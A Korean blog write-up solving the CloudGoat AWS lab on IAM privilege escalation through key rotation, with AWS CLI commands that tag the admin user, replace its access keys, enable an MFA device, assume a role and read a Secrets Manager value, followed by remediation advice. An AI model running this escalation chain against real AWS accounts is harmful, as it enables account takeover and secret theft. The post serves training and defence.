문제 정보
cloudgoat/cloudgoat/scenarios/aws/iam_privesc_by_key_rotation/README.md at master · RhinoSecurityLabs/cloudgoat
CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat
github.com
문제 환경 구성
문제를 풀기 위해 클라우드 환경을 생성을 합니다.
문제 설명
문제는 IAM에서 User 3개, Role 1개, Secret Manager 서비스에서 1개의 Secret이 생성되고 그 값을 알아내면 됩니다.
시작은 manager부터 시작하면 됩니다.
문제 풀이
시작 지점은 manager 부터 시작하라고 Read me 페이지에 나와있으니 start.txt를 확인합니다.
확인하면 manager에 대한 Access Key와 Secret Key가 보입니다.
위 Access Key를 이용하여 AWS CLI를 사용할 수 있게 다음과 같은 명령어를 입력하여 manager 프로파일을 생성하면 됩니다.
aws configure --profile manager
1. 권한 분석 (현재 소유 권한)
manager 유저의 정책 Policy를 분석해보겠습니다.
1) manager 유저는 사용자에게 Tag를 붙일 수 있고 Access Key를 생성/삭제 할 수 있습니다.
- 이 점을 이용하면 manager 유저는 admin 유저 권한을 획득 가능합니다.
2) manager 유저는 가상MFA디바이스를 생성하고 적용할 수 있습니다.
- 이 점을 이용하면 admin 유저는 Secret Manager 서비스로 역할 전환이 가능하고 Secret 값을 획득할 수 있습니다.
#-------------------- 1. 현재 권한 분석 과정 --------------------
### 계정 리스트 확인 ###
aws iam list-users --profile manager
### manager 에게 적용된 AWS 관리 정책 (manager 요청) ###
aws iam list-attached-user-policies --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
"AttachedPolicies": [
{
"PolicyName": "IAMReadOnlyAccess",
"PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
}
]
}
### manager 에게 적용된 User 관리 정책 (manager 요청) ###
aws iam list-user-policies --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
"PolicyNames": [
"SelfManageAccess",
"TagResources"
]
}
### SelfManageAccess 정책 확인 ###
aws iam get-user-policy --policy-name SelfManageAccess --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
"UserName": "manager_cgidl7mh6zo0vx",
"PolicyName": "SelfManageAccess",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:DeactivateMFADevice",
"iam:GetMFADevice",
"iam:EnableMFADevice",
"iam:ResyncMFADevice",
"iam:DeleteAccessKey",
"iam:UpdateAccessKey",
"iam:CreateAccessKey"
],
"Condition": {
"StringEquals": {
"aws:ResourceTag/developer": "true"
}
},
"Effect": "Allow",
"Resource": [
"arn:aws:iam::739275444311:user/*",
"arn:aws:iam::739275444311:mfa/*"
],
"Sid": "SelfManageAccess"
},
{
"Action": [
"iam:DeleteVirtualMFADevice",
"iam:CreateVirtualMFADevice"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::739275444311:mfa/*",
"Sid": "CreateMFA"
}
]
}
}
### TagResources 정책 확인 ###
aws iam get-user-policy --policy-name TagResources --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
"UserName": "manager_cgidl7mh6zo0vx",
"PolicyName": "TagResources",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:UntagUser",
"iam:UntagRole",
"iam:TagRole",
"iam:UntagMFADevice",
"iam:UntagPolicy",
"iam:TagMFADevice",
"iam:TagPolicy",
"iam:TagUser"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "TagResources"
}
]
}
}
2. Admin 권한 획득
#-------------------- 2. Admin 권한 획득 과정 --------------------
### admin 계정에 developer:true 태그 붙이기 ###
aws iam tag-user --user-name admin_cgidl7mh6zo0vx --tags Key=developer,Value=true --profile manager
### admin 계정 태그 조회 ###
aws iam list-user-tags --user-name admin_cgidl7mh6zo0vx --profile manager
### admin 유저 Access Key 삭제 후 생성 ###
aws iam delete-access-key --access-key-id <access-key> --user-name admin_cgidl7mh6zo0vx --profile manager
aws iam create-access-key --user-name admin_cgidl7mh6zo0vx --profile manager
### admin 프로파일 생성 ###
aws configure --profile privesc_admin
3. MFA 디바이스 생성 & Secret Manager 역할 전환 & Secret 값 획득
#-------------------- 3. MFA 디바이스 생성 후 Secret Manager 역할 전환 하고 Secret 값 획득 과정 --------------------
### MFA 장치 생성 ###
aws iam create-virtual-mfa-device --virtual-mfa-device-name TestMFADevice --outfile ./QRCode.png --bootstrap-method QRCodePNG --profile manager
### MFA 활성화 ###
aws iam enable-mfa-device --user-name admin_cgidl7mh6zo0vx --serial-number arn:aws:iam::739275444311:mfa/TestMFADevice --authentication-code1 <Code1> --authentication-code2 <Code2> --profile manager
### 역할 전환 AssumeRoles ###
aws sts assume-role --role-arn "arn:aws:iam::739275444311:role/cg_secretsmanager_cgidl7mh6zo0vx" --role-session-name "admin_cgidl7mh6zo0vx" --serial-number arn:aws:iam::739275444311:mfa/TestMFADevice --token-code <Code> --profile privesc_admin
### AssumeRoles 통해 발급받은 AccessKey 프로파일 생성 ###
aws configure set --profile assume_role_secretsmanager aws_access_key_id <access_key>
aws configure set --profile assume_role_secretsmanager aws_secret_access_key <secret_key>
aws configure set --profile assume_role_secretsmanager aws_session_token <session_token>
### Secret Manager 서비스의 Secret 값 가져오기 ###
aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:739275444311:secret:cg_secret_cgidl7mh6zo0vx-lBTKcL --profile assume_role_secretsmanager
[보안 개선 방안]
1. MFA 비활성화 권한 제거 (iam:DeactivateMFADevice)
사용자가 자신의 MFA를 비활성화하지 못하도록 해당 권한을 삭제해야 합니다.
관리자가 직접 MFA 관리 역할을 수행하도록 권한을 위임하는 것이 바람직합니다.
2. 액세스 키 생성 및 삭제 권한 제한
iam:CreateAccessKey, iam:DeleteAccessKey 권한을 사용자에게 부여하는 것은 보안상 위험합니다.
대신 관리자가 필요할 때만 키를 생성하도록 제한하는 것이 좋습니다.
3. 태그 변경 권한 범위 제한
"Resource": "*"을 특정한 리소스 ARN으로 제한해야 합니다.
예를 들어, arn:aws:iam::739275444311:user/specific-user 같은 특정 사용자만 대상으로 하도록 변경하는 것이 좋습니다.
4. 태그 기반 접근 제어 강화
TagResources 정책에서 사용자가 IAM 사용자 태그를 수정할 수 없도록 제한해야 합니다.
예를 들어, iam:TagUser 및 iam:UntagUser 권한을 제거하면 태그 기반 접근 제어 정책을 우회하는 것을 방지할 수 있습니다.
5. IAM 정책 모니터링 및 로깅
AWS CloudTrail을 사용하여 iam:DeactivateMFADevice, iam:CreateAccessKey, iam:TagUser 등의 이벤트를 모니터링하고, 이상 징후가 발생하면 경고를 받을 수 있도록 설정해야 합니다.
내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!
caul334@gmail.com
'IT > Cloud' 카테고리의 다른 글
[AWS] AWS CLI 커맨드 입력 시 뭘 입력할지 모르겠다면! (aws cli 명령어 레퍼런스) (0) | 2025.04.02 |
---|---|
[CloudGoat] cloudgoat.py create 명령어 Terraform 에러 (0) | 2025.02.14 |
[AWS][Solved] error during connect: this error may indicate that the docker daemon is not running 에러 원인 (1243) | 2023.05.18 |
[AWS] RI vs Savings Plans 차이점 및 특징 (1400) | 2023.05.08 |
[AWS] IAM 계정으로 청구서(결제) 정보 확인하는 방법 (1298) | 2023.05.04 |